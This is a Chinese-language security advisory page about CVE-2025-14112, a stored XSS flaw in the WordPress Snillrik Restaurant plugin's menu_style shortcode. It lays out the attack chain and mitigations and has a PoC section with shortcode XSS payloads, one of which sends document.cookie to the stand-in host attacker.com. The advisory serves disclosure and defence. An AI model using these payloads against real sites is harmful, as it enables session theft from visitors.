IPBUF安全漏洞报告
English
CVE-2025-14112 CVSS 6.4 中危

CVE-2025-14112 WordPress Snillrik Restaurant插件存储型XSS漏洞

披露日期: 2026-01-07

漏洞信息

漏洞编号
CVE-2025-14112
漏洞类型
存储型跨站脚本攻击(XSS)
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Snillrik Restaurant plugin for WordPress

相关标签

存储型XSSWordPress插件漏洞Snillrik RestaurantCVE-2025-14112短代码注入跨站脚本WordPress安全

漏洞概述

CVE-2025-14112是WordPress平台Snillrik Restaurant餐厅菜单插件中的一个存储型跨站脚本(XSS)漏洞。该漏洞存在于插件的短代码功能中,具体位于menu_style参数的处理逻辑。由于插件在处理用户输入时未能进行充分的输入清理和输出转义,攻击者可以利用此漏洞在受影响的页面中注入恶意JavaScript代码。攻击成功后,恶意脚本将在任何用户访问包含恶意内容的页面时自动执行,可能导致会话劫持、凭据窃取、重定向攻击等严重后果。由于该漏洞为存储型XSS,恶意代码会永久保存在数据库中,影响范围更广。

技术细节

该漏洞的根本原因在于Snillrik Restaurant插件的shortcodes.php文件中,对menu_style短代码属性的处理存在安全缺陷。插件在接收用户输入的menu_style参数后,未能对特殊字符进行适当的HTML实体转义就直接输出到页面。当攻击者通过短代码提交包含JavaScript事件处理器或script标签的恶意负载时,这些内容会被存储在WordPress数据库中,并在页面加载时未经处理地呈现给访问者。由于WordPress的短代码机制会在页面渲染时解析并执行相关代码,攻击者注入的恶意脚本将获得在受害者浏览器中执行的权限。攻击者只需拥有WordPress网站的Contributor角色即可利用此漏洞,这大大降低了攻击门槛。漏洞影响插件2.3.0及以下所有版本。

攻击链分析

STEP 1
步骤1: 侦察与访问
攻击者获取WordPress网站的 Contributor 或更高权限账户,可通过凭据填充、暴力破解或社工手段获取账户
STEP 2
步骤2: 漏洞利用
攻击者在页面或文章中插入包含恶意payload的[menu_style]短代码,如[menu_style menu_style='"><script>恶意代码</script>']
STEP 3
步骤3: 持久化存储
恶意payload被保存到WordPress数据库中,作为短代码内容或页面HTML的一部分,在网站上永久存在
STEP 4
步骤4: 触发执行
当其他用户访问包含恶意内容的页面时,浏览器会解析页面HTML并执行攻击者注入的JavaScript代码
STEP 5
步骤5: 恶意行为执行
攻击者可窃取用户会话Cookie、凭据,重定向用户到钓鱼站点,或在用户浏览器中执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- WordPress Contributor权限用户可通过以下短代码注入恶意脚本 --> [menu_style menu_style='"><script>alert(String.fromCharCode(88,83,83))</script>'] <!-- 利用img标签的onerror事件 --> [menu_style menu_style='x' onerror='alert(document.cookie)'] <!-- 利用事件处理器执行更复杂的攻击 --> [menu_style menu_style='"><img src=x onerror=fetch("https://attacker.com/steal?cookie="+document.cookie)>']

影响范围

Snillrik Restaurant plugin for WordPress <= 2.3.0

防御指南

临时缓解措施
如果无法立即升级插件,可采取以下临时缓解措施:1) 临时禁用Snillrik Restaurant插件或移除包含menu_style短代码的内容;2) 审查所有使用该插件创建的页面和文章,移除可疑的短代码;3) 限制Contributor角色的内容发布权限,要求管理员审核所有新内容;4) 在Web应用防火墙(WAF)中设置规则检测和阻止包含XSS特征的请求;5) 监控网站日志,关注异常的短代码使用模式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表